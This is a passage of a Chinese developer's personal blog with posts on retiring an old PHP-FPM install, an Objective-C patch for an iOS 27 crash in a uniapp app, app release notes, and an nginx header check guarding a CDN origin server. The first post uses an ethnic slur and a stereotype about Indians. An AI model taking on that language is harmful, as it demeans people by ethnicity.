obaby 𝐢‍𝐧⃝ void

狂欢

obaby — Thu, 22 Oct 2026 02:28:44 +0000

现在每年的各种电商平台的狂欢节，什么618，双11双12之类的，感觉不温不火的，甚至连广告都看不到。

当然，可能这也是个性化广告的最终效果吧，知道我买不起，就干脆连广告都不给推了。虽然广告没怎么看到，但是为了凑满减，还是买了一堆东西。

这一堆满减折扣，也不知道是真的还是假的，多数应该是真的能便宜点吧，哪怕折扣之前稍微提价了。在这之前也买了一些东西，两条裤子，还有一些其他的乱七八糟的东西。

这不温不火的活动，还不如it行业这突如其来的php的两个漏洞激起的水花大。连高市都发了修复的推文：

几台服务器，虽然用php的不多，但是当时为了快速部署，用的lnmp的一键部署脚本，顺便就把php给一块搞进去了，还是个7.4的版本。现在连lnmp官网的下载安装脚本都挂了，那就更不可能通过脚本进行php升级了，这也是为什么工控机上的php就停留在了7.4。虽然后来装了个8.1却始终没有切换。好在现在有了功能强大的ai，直接让ai进去一通乱搞就修复好了。之前之所以没有升级还有个更大的问题就是分词组件不支持php8，mac上的分词功能已经独立出来了，工控机上的没有处理，所以后来就成了这个状况。mac上的php早上直接通过apt升级了，能apt搞的确要方便很多，毕竟编一个php得跑半天。ecs上也有几台跑着php虽然没有php的业务，但是进行依然在运行，直接停止禁止自启算是解决了php的问题。技术依赖果然不是什么好习惯，装的时候省事，等出问题的时候，修复就贼拉麻烦，早晚得有拉清单的时候。

lighthouse@VM-16-8-ubuntu:~$ ps aux | grep php
root         861  0.0  0.4  88340 15876 ?        Ss    2024  31:43 php-fpm: master process (/usr/local/php/etc/php-fpm.conf)
www         2039  0.0  0.7 101528 26680 ?        S     2024   0:31 php-fpm: pool www
www         2040  0.0  0.7 101528 25056 ?        S     2024   0:31 php-fpm: pool www
www         2041  0.0  0.5  95524 20640 ?        S     2024   0:31 php-fpm: pool www
www         2042  0.0  0.6  95384 20920 ?        S     2024   0:31 php-fpm: pool www
www         2043  0.0  0.7 101528 24744 ?        S     2024   0:31 php-fpm: pool www
www         2044  0.0  0.7 101660 26652 ?        S     2024   0:31 php-fpm: pool www
www         2045  0.0  0.7 101528 26780 ?        S     2024   0:31 php-fpm: pool www
www         2046  0.0  0.7 101528 26908 ?        S     2024   0:31 php-fpm: pool www
www         2047  0.0  0.7 101528 27164 ?        S     2024   0:31 php-fpm: pool www
www         2048  0.0  0.7 101528 26620 ?        S     2024   0:31 php-fpm: pool www
www         2049  0.0  0.7 101528 26672 ?        S     2024   0:31 php-fpm: pool www
www         2051  0.0  0.7 101528 27172 ?        S     2024   0:31 php-fpm: pool www
www         2052  0.0  0.7 101664 26872 ?        S     2024   0:31 php-fpm: pool www
www         2053  0.0  0.7 101664 26904 ?        S     2024   0:31 php-fpm: pool www
www         2054  0.0  0.7 101528 26832 ?        S     2024   0:31 php-fpm: pool www
www         2055  0.0  0.7 101528 27320 ?        S     2024   0:31 php-fpm: pool www
www         2057  0.0  0.7 101532 26908 ?        S     2024   0:31 php-fpm: pool www
www         2058  0.0  0.7 101664 26884 ?        S     2024   0:31 php-fpm: pool www
www         2061  0.0  0.7 101532 26960 ?        S     2024   0:31 php-fpm: pool www
www         2063  0.0  0.7 101532 26960 ?        S     2024   0:31 php-fpm: pool www
lightho+ 1609805  0.0  0.0   6612  2292 pts/5    R+   10:09   0:00 grep --color=auto php
www      3868312  0.0  0.5  95388 20884 ?        S     2024   0:31 php-fpm: pool www
lighthouse@VM-16-8-ubuntu:~$ sudo lnmp php-fpm stop
+-------------------------------------------+
|    Manager for LNMP, Written by Licess    |
+-------------------------------------------+
|              https://lnmp.org             |
+-------------------------------------------+
Gracefully shutting down php-fpm . done

lighthouse@VM-16-8-ubuntu:~$ sudo systemctl stop php-fpm
lighthouse@VM-16-8-ubuntu:~$ sudo systemctl disable php-fpm
Synchronizing state of php-fpm.service with SysV service script with /lib/systemd/systemd-sysv-install.
Executing: /lib/systemd/systemd-sysv-install disable php-fpm
Removed /etc/systemd/system/multi-user.target.wants/php-fpm.service.
lighthouse@VM-16-8-ubuntu:~$ ps aux | grep php
lightho+ 1610176  0.0  0.0   6480  2304 pts/5    S+   10:10   0:00 grep --color=auto php
lighthouse@VM-16-8-ubuntu:~$

还是不能偷懒，都不用php，干嘛要偷懒用什么一键安装工具装这些乱七八糟的东西呢~~

除了php，连nodejs以及阿三签发的证书也出来凑热闹了，挺安全的一套加密系统，印度阿三能用个4作为密钥。这也算是符合印度阿三的人设了，毕竟泄露点苹果的资料啊什么的都是常规操作了。

技术依赖

obaby — Mon, 19 Oct 2026 06:47:49 +0000

今天早上收到uniapp云空间续费的通知，看了下还有一个月到期，点击续费的时候发现最长时间选不到一年了。

看了半天才注意到底下那张字：

因阿里云 EMAS 功能逐步下线，uniCloud阿里云服务空间自2026年11月1日起不再支持新建，并将于2027年9月30日正式停服，续费后的到期时间不得晚于2027年8月31日，建议您尽快迁移，

一句话总结，就是阿里云的空间续费不了了，只能换其他的。甚至还贴心的给出了迁移工具，

这个东西聊胜于无，有总比没有要好一些。然而，及时是如此还得面临一系列的问题，域名不能同时存在，如果要想业务不中断就得先发布版本替换线上使用的域名，切换到新域名。无形中增加了app和服务的运维成本。

后面几个app的推送也用的unicloud的云空间，不过这次没有再使用uniadmin之类的面板也没有再为每个app创建独立的云空间。将多个app绑定到了同一个空间，毕竟这些app使用的功能也只有消息推送而已，完全没必要每个再创建一个独立的空间。毕竟dcloud提供一个免费的空间，剩下的都得花钱购买了，免费的先用着也不是不可。

新空间是支付宝云，倒是不受这次迁移的影响。这一切的原因都是因为选择了uni的框架，鉴于所谓的省时省力使用了uni的管理后台和推送服务，这包装好的一切虽然前期省了时间，如果没什么变数长期运维整体成本感觉也还可以。只是一点有了变数之后，所有的一切不说是推到重来，实际上跟挖了重载也差不多了。

之所以说这件事情，还有一件事情，上周五有个哥哥加qq问findu 是不是收费，能不能下载新版本。

其实，上来就说app闪退就可以了。来回折腾了半天我才直到是闪退，问了下手机版本 iPhone 15 pro, iOS27。自己的手机前几天也升级到了27，但是并没有闪退，虽然我猜测可能是ios版本问题，但是鉴于自己的手机没闪退，又猜测是不是硬件问题。

好在最后哥哥在自己的一通指挥下成功的把app崩溃日志发给了自己：设置 → 隐私与安全性 → 分析与改进 → 分析数据‌，在里面找到对应 App 的 .ips 文件（命名一般是 App名-日期-时间.ips

看到这一堆文件，心理瞬间没那么慌了，毕竟有了文件，就知道是崩在哪里了。

系统断言：

You cannot set a delegate on the default file manager.

符号化后的调用链：


-[NSFileManager setDelegate:]
-[PDRCoreApp copyOverlayFile]          ← DCloud 引擎
-[PDRCoreApp load]
+[PDRCore initEngineWihtOptions:...]
-[AppDelegate didFinishLaunching...]
也就是说：iOS 27 禁止给 NSFileManager.defaultManager 设 delegate，而 DCloud 离线 SDK 启动复制 www 资源时还在这么做，所以一进启动页就 EXC_BREAKPOINT 秒退。崩溃二进制 UUID 与 10/8 的 4.0.5 Archive 一致。

这个问题，其实在上次兼容适配iphone duo的时候修复过一次了，不过那次是在家里的mac mini上操作的，而mbp的xcode 不知道什么时候也升级到27了，这就导致打出来的包使用了ios 27的sdk，就直接引入了这个bug。

当然，更诡异的是自己从26升级到27的系统上，之前安装的findu并没有闪退，卸载重装就是就闪退了。

这个东西的原因后来也想明白了（后知后觉，今天才想明白），在ios26上已经完成文件复制了，所以系统升级之后，并不会再次触发文件复制。而新装的app在启动的时候会复制文件就bug了。

所以，如果uniapp 离线打包ios27闪退，那就直接修改离线工程的代码吧xcode_project/Findu/Findu/NSFileManager+Findu.m（+load swizzle）：

#import 
#import 
#import 

// iOS 27 SDK 起，Foundation 会在 -[NSFileManager setDelegate:] 作用于
// defaultManager 且 delegate 非空时主动陷阱（EXC_BREAKPOINT）。
// DCloud PDRCoreApp copyOverlayFile 启动时仍靠这个委托把 www 合并进沙盒，
// 会在启动页秒退。兄弟项目 dayima 已验证本补丁。
//
// 非共享的 NSFileManager 不会陷阱。先在临时实例上走系统实现，
// 再把 _delegate / _weakDelegateValue 挪到 defaultManager 上。
// _delegate 是 assign。_weakDelegateValue 必须强持有：
// object_setIvar 对未知所有权按 unsafe_unretained 写入，临时实例释放后
// NSWeakObjectValue 被回收，后续文件操作会打到野指针。
static IMP findu_originalSetDelegate;

static void findu_nsfilemanager_setDelegate(id self, SEL _cmd, id delegate) {
    if (delegate != nil && self == [NSFileManager defaultManager]) {
        NSFileManager *donor = [[NSFileManager alloc] init];
        ((void (*)(id, SEL, id))findu_originalSetDelegate)(donor, _cmd, delegate);
        Ivar delegateIvar = class_getInstanceVariable([NSFileManager class], "_delegate");
        Ivar weakIvar = class_getInstanceVariable([NSFileManager class], "_weakDelegateValue");
        if (delegateIvar != NULL) {
            void *rawDelegate = (__bridge void *)delegate;
            void *slot = (char *)(__bridge void *)self + ivar_getOffset(delegateIvar);
            memcpy(slot, &rawDelegate, sizeof(rawDelegate));
        }
        if (weakIvar != NULL) {
            object_setIvarWithStrongDefault(self, weakIvar, object_getIvar(donor, weakIvar));
        }
        return;
    }
    ((void (*)(id, SEL, id))findu_originalSetDelegate)(self, _cmd, delegate);
}

@interface NSFileManager (Findu)
@end

@implementation NSFileManager (Findu)

+ (void)load {
    Method method = class_getInstanceMethod(self, @selector(setDelegate:));
    if (method == NULL) {
        return;
    }
    findu_originalSetDelegate = method_getImplementation(method);
    method_setImplementation(method, (IMP)findu_nsfilemanager_setDelegate);
}

@end

以前做的东西，并没有很多与硬件交互的内容，所以uni 『从从容容游刃有余』，现在随着对接apple watch 以及carplay，uni变得越来越『匆匆忙忙连滚带爬』了。

毕竟，启动闪退这种bug对于任何app来说都是无法忍受的。好在这次苹果的审核还是非常不错的，提交之后第二天就通过了。

这一桩桩一件件，怎么想都是事儿。只是，真的要推倒重来，真的太需要勇气了。毕竟，已经修复了无数的问题。

所以，做产品，如果要长期做，宜长远考虑。

闺蜜圈 [v 5.2.30]

obaby — Mon, 19 Oct 2026 05:10:24 +0000

更简单更智能的大姨妈记录app：https://guimiquan.cn

版本号：5.3.20

更新内容：
1.会员权益大调整，只需要开通VIP就可以体验语音识别，快捷指令，再也不用一条一条记录啦。一条命令就可以记录数条信息，补充记录几天的数据也不用来回切换日期了。
2.修复了一些已知bug
3.iOS版本支持Apple Watch

APP以及小程序二维码，扫描即可安装体验：

这次更新的时间间隔比较短，但是整体的ai快捷指令处理能力得到了质的飞跃，采用新的mcp服务模式，不再通过指令匹配。同时，增加了apple watch 支持，在设置app背景图片之后，手表的背景会同步设置。

视频：

https://zhongxiaojie.cn/wp-content/uploads/2026/10/d192c53c63e65b7c5498bc93e29fbc25.mp4

当然，如果大家感兴趣可以关注我的抖音，每天分享健康知识。

跟着姐姐一起涨知识哦，各种各样的小知识。

你来啦！[1.44.20] — 正式上线多端覆盖

obaby — Mon, 19 Oct 2026 02:06:33 +0000

简单更新，支持广告屏蔽（安卓，ios暂未发版）。不得不说，手机上各种广告入侵，很多页面都直接没法看了。

实际效果：

https://zhongxiaojie.cn/wp-content/uploads/2026/10/0d74dec80ac79fcf6ae6b398c1b971b7.mp4

以下内容，写与 2026 年 10 月 14 日：

博客聚合这个东西，不说已经被玩烂了，反正是也差不多人手一个了。层出不穷的聚合平台，几乎每个玩博客的都整合了一个，哪怕没有聚合平台，也会有个友圈，邻里之类的rss文章聚合页面。

日薄西山的时候，做这么个东西，似乎也没什么太大了意义，少数人的东西，也难成气候。现在还在写博客的多多少少都有些执拗吧。从几个月之前开始借鉴别人的想法加上自己的创意搞出来这个东西。如果说惊艳，那自然是没有，如果说用途，那也有一些。现在也基本是自用居多，仅此而已。为了上架苹果应用商店，期间也进行了无数次交涉，一次次整改，在整改的过程中添加新的功能。终于昨天这个东西审核通过了。

在迭代过程中，增加了数项功能，主要网站状态相关：离线检测、合规检测、抓取状态检测等等，也会伴随着app推送消息。功能简介：

你来啦！是一个博客站长聚合平台。每个站点根据其 IP 地址映射到虚拟坐标空间， 同时通过坐标转换服务获取真实地理坐标，在天地图（现实坐标）上展示。

✦
虚拟
虚拟坐标 · 基于 IP 地址的 Hilbert 曲线映射，探索独特的 IP 宇宙


现实
天地图 · 真实地理坐标展示，看看博主们都在哪里


IPv4 / IPv6 双栈
同时支持 v4 和 v6 地址的地图点位展示


友链
在站点列表、地图与详情页点击「链接」添加友链，关系会展示在地图关系网与用户主页。 登录后可在 控制台 管理友链，并通过 Halo / WordPress / Typecho 插件与博客双向同步。


最新动态
全站收录站点的 RSS 聚合信息流，在 最新动态 按日历日切换浏览，支持关键词搜索；登录用户可收藏感兴趣的文章。


朋友圈
已链接友链站点的 RSS 时间线，在 朋友圈 按日浏览已关注（友链）站点的 RSS 更新，支持搜索与收藏。


RSS 订阅
与友链「链接」独立：订阅只用于个人 RSS 阅读，不影响关系网展示。站点列表、地图与详情页均可一键订阅； 控制台支持分组管理与 OPML 导入，在 我的订阅 按日聚合浏览已订阅站点的最新文章。


首页合规扫描
平台会定期检查仍在运营、且填写了网址的站点首页，识别违法违规、恶意跳转和导流内容。 被标记的站点会出现在登录后的预警列表里：站点名称完整显示，域名和网址已脱敏，不能直接打开。 确认违规的站点会被下线；若你的友链里包含这类站点，且开启了友链合规通知，我们会用推送和邮件提醒你及时清理。 这项检查与文章动态的内容过滤相互独立。更完整的说明见常见问题。

下载地址：

苹果：https://apps.apple.com/cn/app/%E4%BD%A0%E6%9D%A5%E5%95%A6/id6790620612

安卓：https://app.zhongxiaojie.cn/app/nilaila/android/

官网：https://nilai.la

~~已知问题：当前版本推送模块打包存在问题，正在发布新版，请耐心等待。~~

推送已经修复，请及时更新新版本。

邀请码：

邀请码	状态	使用者	备注	创建时间	操作
INV-MSPW-C3PZ-XY6A	已使用		ios	2026/10/14 10:03:25	
INV-C2K7-F5VR-G5C2	已使用	-	ios	2026/10/14 10:03:25	编辑备注删除
INV-H26S-PVBW-BW00	已使用	-	ios	2026/10/14 10:03:25	编辑备注删除
INV-EFT1-RDZ5-970T	已使用	-	ios	2026/10/14 10:03:25	编辑备注删除
INV-I370-HDMG-GC58	已使用	ios	2026/10/14 10:03:25	
INV-XXZK-G8G9-KFV7	已使用		ios	2026/10/14 10:03:25	
INV-D9AR-G07C-RDE8	已使用	-	ios	2026/10/14 10:03:25	编辑备注删除
INV-YYXI-30UW-0T14	已使用	-	ios	2026/10/14 10:03:25	编辑备注删除
INV-OM0Z-JCXW-QWS4	已使用		ios	2026/10/14 10:03:25	
INV-4E8S-S6PX-Z7WI	已使用	-	ios	2026/10/14 10:03:25	编辑备注删除

补一组邀请码：

邀请码	状态	使用者	备注	创建时间	操作
INV-X3UH-JMQR-5GCN	已使用	-	补一组	2026/10/15 23:00:29	编辑备注删除
INV-W041-OJVL-HSMI	可用	-	补一组	2026/10/15 23:00:29	编辑备注删除
INV-VNOU-V6EZ-JFP5	可用	-	补一组	2026/10/15 23:00:29	编辑备注删除
INV-JVK4-Y5S8-OGEF	可用	-	补一组	2026/10/15 23:00:29	编辑备注删除
INV-X9NM-Q785-20BS	可用	-	补一组	2026/10/15 23:00:29	编辑备注删除
INV-BBKL-3GFM-Y4HI	可用	-	补一组	2026/10/15 23:00:29	编辑备注删除
INV-ACDC-MHUR-F21N	可用	-	补一组	2026/10/15 23:00:29	编辑备注删除
INV-AGXA-47D0-QPJS	已使用	-	补一组	2026/10/15 23:00:29	编辑备注删除
INV-NKW4-POEB-59JF	可用	-	补一组	2026/10/15 23:00:29	编辑备注删除
INV-QL2H-GHER-S86V	可用	-	补一组	2026/10/15 23:00:29	编辑备注删除

大意失荆州 — 浅谈cdn后面的源站防护

obaby — Wed, 14 Oct 2026 01:39:26 +0000

随着开发的服务和应用越来越多，当初为了省事直接通过后端提供服务的做法，从短期看来的确是省了再次部署的麻烦。但是，这种做法也挖了一些深坑，并且，这些坑不见得什么时候就成了拖垮系统的罪魁祸首。

当初为了省事，很多服务直接通过端口映射之后就作为后端服务发布了。

当然，并不是直接暴露后端真实服务器的地址，前面还套了一层eo。想着最前面是eo，默认请求都会经过eo转发，本身图片等相关资源都有cdn缓存也不会打到服务器上，只有cdn边缘服务器第一次请求的时候会访问真正的后台文件，这样原来，直接通过后端服务提供静态资源访问也是足够的，并且跑了这么长时间也没什么问题。但是，事实并非总是这么可靠。

昨天你来啦发版之后，想着填写一下appstore的下载地址，结果登录后台直接提示502了。

登录服务器看了一下，后台服务进程被大量下载直接拖死了：

22.79.117.157:55212 - - [13/Oct/2026:16:26:03] "GET /media/packages/2026/10/__UNI__8813F79_1007202252.apk" 200 79556639
113.219.202.124:5113 - - [13/Oct/2026:16:26:03] "GET /media/packages/2026/10/__UNI__8813F79_1007202252.apk" 200 79556639
113.219.202.2:12879 - - [13/Oct/2026:16:26:04] "GET /media/packages/2026/10/__UNI__8813F79_1007202252.apk" 200 79556639
113.219.202.3:46581 - - [13/Oct/2026:16:26:04] "GET /media/packages/2026/10/__UNI__8813F79_1007202252.apk" 200 79556639
222.79.116.209:27848 - - [13/Oct/2026:16:26:04] "GET /media/packages/2026/10/__UNI__8813F79_1007202252.apk" 200 79556639
222.79.116.184:59270 - - [13/Oct/2026:16:26:04] "GET /media/packages/2026/10/__UNI__8813F79_1007202252.apk" 200 79556639
2026-10-13 16:26:25,486 WARNING  Application instance  wait_for=> for connection  took too long to shut down and was killed.
2026-10-13 16:26:25,542 WARNING  Application instance  wait_for=> for connection  took too long to shut down and was killed.
2026-10-13 16:26:25,543 WARNING  Application instance  wait_for=> for connection  took too long to shut down and was killed.
2026-10-13 16:26:25,543 WARNING  Application instance  wait_for=> for connection  took too long to shut down and was killed.
2026-10-13 16:26:25,543 WARNING  Application instance  wait_for=> for connection  took too long to shut down and was killed.
2026-10-13 16:26:25,548 WARNING  Application instance  wait_for=> for connection  took too long to shut down and was killed.
2026-10-13 16:26:25,548 WARNING  Application instance  wait_for=._outer_done_callback() at /usr/lib/python3.10/asyncio/tasks.py:864, Task.task_wakeup()]>> for connection  took too long to shut down and

这一堆请求__UNI__8813F79_1007202252.apk的访问，几乎是在同一秒内发出的，并且这些ip也不是eo的cdn边缘服务器ip，那么就只有一种可能，就是源服务器的地址暴露了，被别有用心的的人用来洗白流量了。这种大文件请求，也是pcdn常用的技俩，正好服务器还有大资源文件，带宽又够，的确是个不错的软柿子。

鉴于在这种情况下，要解决这个问题也简单，那就是直接屏蔽掉除了eo节点之外的所有的直接流量，此时只需要找到eo的服务器列表，添加到安全组或者防护策略或者nginx的配置文件中即可，然鹅，eo免费版本并不具备此功能：

那么，应该怎么办？就只能坐以待毙吗？当然，可以通过解析加速域名的dns解析获取所有的边缘测地址：

只是这种做法难免有些不入流。

这就黔驴技穷了？那肯定不可能，想姐姐我是何种人物，没了张屠夫还非得吃带毛的的？

基于边缘测的请求改写，给所有的请求添加一个自定义头，在源服务器检测就可以解决这个问题了。

边缘测：

服务器配置：

如果是openresty，直接写到nginx.conf 的http部分即可：

# 只放行 CDN 回源。直连源站（IP 或绕过 CDN）没有该头，返回 403，不读盘、不进 Daphne。
# CDN 需在回源请求上添加：baby-fuck-playboys: baby-fuck-all-invalid-requests
# rewrite 的 if 只能写在 server/location，放进 http 段会 nginx -t 失败，也盖不住各 vhost。
# access 阶段对所有 server / location 生效，先于静态文件、FastCGI、反代。
access_by_lua_block {
    if ngx.var.http_baby_fuck_playboys ~= "baby-fuck-all-invalid-requests" then
        return ngx.exit(403)
    end
}

如果是nginx 需要在每个server下面单独进行配置，当然也可以写成一个统一的配置文件，在需要启用检测的地方直接include即可。

# 只放行 CDN 回源。直连源站（IP 或绕过 CDN）没有该头，返回 403，不读盘、不进 Daphne。
# CDN 需在回源请求上添加：baby-fuck-playboys: baby-fuck-all-invalid-requests
if ($http_baby_fuck_playboys != "baby-fuck-all-invalid-requests") {
    return 403;
}

配置好之后重启openresty 或者nginx，此时没有合法请求头的访问就直接403了：

小技巧：如何修改postman的host，正常情况这个东西是不让修改的，显示calculated when request is send。那么，取消掉原来的默认host，在下面新建一个，填写自己想要使用的host就可以了。

等eo边缘测部署生效了，网站可以就可以正常访问了。

当然，前提是别改漏了。域名实在是太多了，有两个就给忘了：

拆东墙补西墙

obaby — Mon, 12 Oct 2026 02:58:22 +0000

上周的时候看到有人提到关于评论区链接地址的安全性问题，这个所谓的安全性指的是访客的域名是不是还是一个健康的站点。鉴于博客圈人来人往，这个事情就变得非常不可控。毕竟，一旦博主放弃了域名或者卖了域名，那些链接就变成了一个地雷，不知道什么时候会炸掉。

除了评论，还有另外一个也可能会出问题的地方，就是友链。相对来说，友链比较固定，哪怕出了问题也比较容易全部处理掉。为了解决这两个问题，我在nilai.la 启动了个新的服务，专门用来检测现在已经添加的所有链接的健康成都，在检测到异常问题之后会给我发邮件以及app推送消息。如果我确认网站有问题，会同时给所有关注这些站点以及添加了这个站点友链的用户邮箱发送邮件。当然，这个检测不会遍历所有的页面，主要是检测首页，词库数量可能也会影响检测质量，不过聊胜于无，总比什么都不知道会更好。

除此之外，给优化了所有评论区的链接点击，url也不再显示明文，点击之后会弹窗提示之后进行跳转：

当然对于这种前后端分离的页面，如果不渲染页面本身也看不到url信息。

上周的时候，看到另外一条消息，那就是苹果要求app在27年4月之前强制适配iPhone Duo，在这之后提交的更新必须要包含Duo的截图，否则连提交审核的资格都没有。https://developer.apple.com/cn/iphone-duo/

对于各种比较新的技术和设备，我一向不会迅速跟进~~（主要是因为穷，买不起新的设备）~~。包括之前的apple watch、carplay，apple watch 很久之前就有了，但是却不曾针对它做过任何的开发。carplay 后来有了却局限于各种权限申请，直到最近才开始做一些开发，陆续上线。至于其他的设备，那是真的买不起，例如最新的Duo。

不过，既然苹果说了这个东西，还是要尝试下的。平常使用的mbp，磁盘空间实在有限（天天报磁盘空间已满），暂时也没想着去把xcode 升级到27.1，就把家里的那台mac mini 利用起来，安装了27.1版本的xcode。

这台m2的mini 入手之后其实并没有怎么用，之前总是觉得带不动两个4k显示器（后来发现是hdmi线缆问题导致的），一直用的windows。还有另外一个问题，那就是性能的确比自己的windows电脑差的太多。

重新升级各种工具，环境之后，就可以启动duo的模拟器了。在这个8g内存的mini上运行模拟器的确是比较折磨人。系统非常卡，毫无体验可言。如果同时运行多个模拟器：watch，iPhone系统的可用性就变得更差了。

不得不说，当时为了便宜，买了个8g版本还是失算了，如果要做开发之类的用途，最好还是16g起步的版本吧，否则在上面开发就是折磨。

目前的适配效果：

app在这种折叠屏的适配上，主要是重新布局绘制的修改和工作量，目前uniapp 官方的打包暂时还不支持iPhone duo的适配，所以直接从云打包打的自定义基座无法运行在iphone duo上，需要下载离线打包sdk和工程修改编译目标配置来实现打包。Duo 模拟器的架构是arm64 ，而传统模拟器的架构是x86-64，当然之所以无法运行并不单纯是架构的问题，iOS sdk升级之后调整了部分方法废弃了部分方法，导致原生的xcode 离线打包的示例项目及时能跑起来也可能会白屏，要修复这个问题又是一顿折腾。

除此之外，这几天还折腾了一下apple watch的适配，当然，如果我所料不错的话，那就是料对了，uniapp 同样无法支持apple watch的打包。也就是说，如果要开发apple watch应用依然要用原生开发，并且这个东西开发完之后，连ai都建议我直接离线打包，把所有的东西复制进去。不过这件事情，是在我开始折腾Duo适配之前搞的，我并不想去搞所谓的离线打包，毕竟要同步的资源太多了，更何况已经开发了一堆原生插件，如果在弄个原生工程，何不直接xcode 原生项目重构？鉴于我对ios 系统以及架构的了解，最终让ai按照自己的想法来实现了这个apple watch的打包运行，代价就是又写了一堆脚本。当然，如果最后还是要靠原生xcode项目，或许，不该写这一堆脚本。

时过境迁，原来为了节省开发时间，便于代码维护的一些方法或者框架，在功能实现越来越底层，交互要达到原生水平的时候，很多事情就不得不向原生开发转移，这么一来，原来的跨平台优势当然无存，取而代之的是各种插件以及原生组件的维护。之前就因为uni的性能问题，把Portable AI的ios端app直接用swift重写了。现在又因为底层交互以及设备支持，原生实现了healthkit 插件，apple watch app，carplay 插件，为了兼容iPhone duo 修改了uni的离线打包示例代码。这一系列的开发升级维护，让uni的跨平台和单代码优势所剩无几。

当然，如果只是做一个跨平台的app，不涉及底层交互，不涉及原生设备适配，uni还是不错的选择。对uni来说，要适配的东西或者设计的东西依然不少，之前鸿蒙兼容的时候，放弃了vue2。鸿蒙的代码我用vue3重构了，现在再次升级兼容的时候，不知道又会放弃什么，至于uniapp x所谓的接近原生的运行效率，是个不错的尝试，但现在在ai横行，无处不在的情况下，这种跨平台优势和所谓的性能优势，依然不再明显。

为了实现自己的各种目标和要求，代码的数量依然与项目开始的时候不是一个数量级了，太多原生语言开发的内容以及插件的大小限制，让我不得不考虑如果再开发一个新的app的时候是否依然要uni梭哈了。

屎山有的是因为代码写的烂，有的是因为从开始就注定了只能拆东墙补西墙，uni搞不定的上插件，插件依然搞不定，那就只能原神重构。

更何况，屎山这个东西是移不完的，为了实现功能，总是要写代码。

这世界上本没有屎山，写的代码多了，屎山自然也就出现了。

时过境迁

obaby — Sat, 10 Oct 2026 06:02:10 +0000

对象开的那辆博越，后车窗贴的膜气泡越来越多，越来越大。侧面的玻璃上贴的膜也出现了一些水波纹，不仔细看还好，盯着细看的时候就变得有些让人难以忍受。

终于在十一之前把车送到了店里，重新贴了玻璃上的膜。贴完之后，感觉视野都变亮了。相比粉皮上贴的玻璃膜，有点太暗了，晚上开车的时候能见度就稍微差了点，私密性是够了，晚上开车就有些累，尤其是光线不好的时候。

贴完膜，车里多了一堆零配件，行车记录仪、etc等等都从玻璃上拆了下来，仍在副驾的座位上。国庆假期结束前自己才去公司的停车场把车换回来，贴完膜前几天不让开窗，车里也有一股除胶剂的味道，放在停车场散一下味道也刚好合适。

行车记录仪好办，从家里拿上3m胶、剪刀，三下五除二就贴回去了。重新安装etc的时候，出bug了。因为设备拆卸过，需要重新激活，去app查看激活方式，提示要激活蓝牙。有找到操作手册，根据自己的型号找到操作方式：连续插拔两次卡片激活蓝牙，设备蓝牙激活后，会亮起一个绿色指示灯。

这操作方式也简单，那就插拔呗。先把设备重新安装到前挡风玻璃上，然后开始插拔：

插进去，拔出来，插进去，设备状态：红灯、绿灯（不是左上角的），屏幕显示：记账卡，从此没反应了……

插进去，……，拔出来，……，插进去，没啥变化，还是红灯绿灯，然后就没然后了……

插……进……去，拔……出……来，插……进……去，照旧……

插……进……去，……，拔……出……来，……，插……进……去，照旧……

重复上面的步骤，最后来多一步拔出来，依然如故。连蓝色的指示灯什么样都没看到。以为是设备问题，打开手机蓝牙搜了半天也没搜到设备。这尼码就离谱啊，这几乎能用的姿势都换了啊，怎么就不行呢。

此时想着肯定是设备问题了，既然不行了，那就换个新的？直接进入线上办理，发现新设备还要钱199，这尼玛就离谱啊，我以前没有的话买个也就买了，这我都有设备了，还要钱，过分了。直接打高速服务电话，报上车牌等相关信息，对方查了会儿，告知：这个设备是以前建行的网点办的，现在服务点没了。并且这个设备没有蓝牙模块，激活不了。现在也没线下激活的服务网点。不过可以通过小程序申请更换新的带蓝牙的设备。

好吧，这好歹也算是个解决问题的办法，毕竟还省了199，不过更换只是更换设备，卡还是原来的卡可以直接插回去接着用。说实话，当然从建行办的这个破设备就贼拉恶心，不知道是谁用过的设备退回去的，面板上都是划痕，不过当时推广免费办理的，也就不强求那么多了。为了更换设备，有把etc重新贴回去，拍车头照片，etc安装照片，拆下来的设备照片，卡片照片，行驶证照片等一堆乱七八糟的东西提交上去。

卡片也晒得变色了，毕竟也快十年了。

为了让这个卡片不怎么恶心，买了几张hello kitty的卡贴。

一通折腾之后，终于算是给插进去了。看起来最起码没这么恶心了。

终于昨天的时候，新设备到了，又是一通折腾，把新的设备装进去。

上午想着更新下应用宝的findu版本，进入后台发现竟然是未上线状态：

打开消息记录，看着到了这个：

时过境迁，我已经不配。

Findu APP 4.0.6 — 好友定位位置分享

obaby — Fri, 09 Oct 2026 02:46:55 +0000

支持Carplay的『船新』版本：

【当前版本】4.0.6（build 489）— 2026-10-17
说明：应用内导航 · 有约追随与集结点 · CarPlay

- 应用内导航：在好友位置或地图上可选择驾车、步行或骑行。目前仅支持中国境内导航。
- 有约「追随」：进入有约群的追随页后，可实时看到在线成员的位置、朝向与速度（约每 2 秒刷新）。
- 集结点：追随中可搜索地名或在地图上选点，设置全员共用的集结点。
- CarPlay（仅 iPhone）：连接车机后可查看好友位置，并在手机或车机上开始导航、查看追随。
- 修复导航显示、安卓导航与消息推送等方面的已知问题。

在拿到苹果开发者，caplay相关的权限之后，除了搞了点不务正业的事情，正事也是得搞起来的。所谓的正事，也就是这次app更新的主要内容，包含群组功能、追随功能，当然最主要的还是导航和carplay的支持。

手机端端：

车机效果：

不得不说，ai在某些小众功能的代码实现上容易写一些很弱智的逻辑和代码实现。纠正这些问题也变得比较困难，需要拆分的非常细节，让ai按最小单元模块，甚至单个方法来实现功能和优化。如果对功能原理或者实现逻辑不了解，那么很容易被ai带到沟里去。

好啦，最后依然是相关介绍和下载链接：

Findu —— 一款简单的找人定位与好友连接应用

还在因为去找朋友玩却没有详细地址，或有了地址却对这座城市不熟悉、不知道该怎么汇合？何不试试 Findu。只要双方愿意，不必再在微信、QQ 里反复发位置——关系地图上一目了然。

好友相约同一地点，每个人的距离不同，什么时候出门最合适？地图上能看到彼此的位置与进度。需要汇合时，可在好友位置直接开始驾车、步行或骑行导航（目前仅支持中国境内）。

特别关注：随时了解自己在意的人的动向；一个人外出，也可以让家人知道你在哪里。

我们，只想让生活变得更加简单。
生活本该如此简单。

——————

主要功能

• 关系地图
  在地图上同时看到自己与好友的位置，支持刷新、全览与地址解析，距离与进度一目了然。

• 应用内导航
  在好友位置或地图上选择驾车、步行或骑行即可开始。目前仅支持中国境内导航。

• 有约追随与集结点
  进入有约群的追随页后，可实时看到在线成员的位置、朝向与速度（约每 2 秒刷新）。可搜索地名或在地图上选点，设置全员共用的集结点。

• 位置共享与足迹
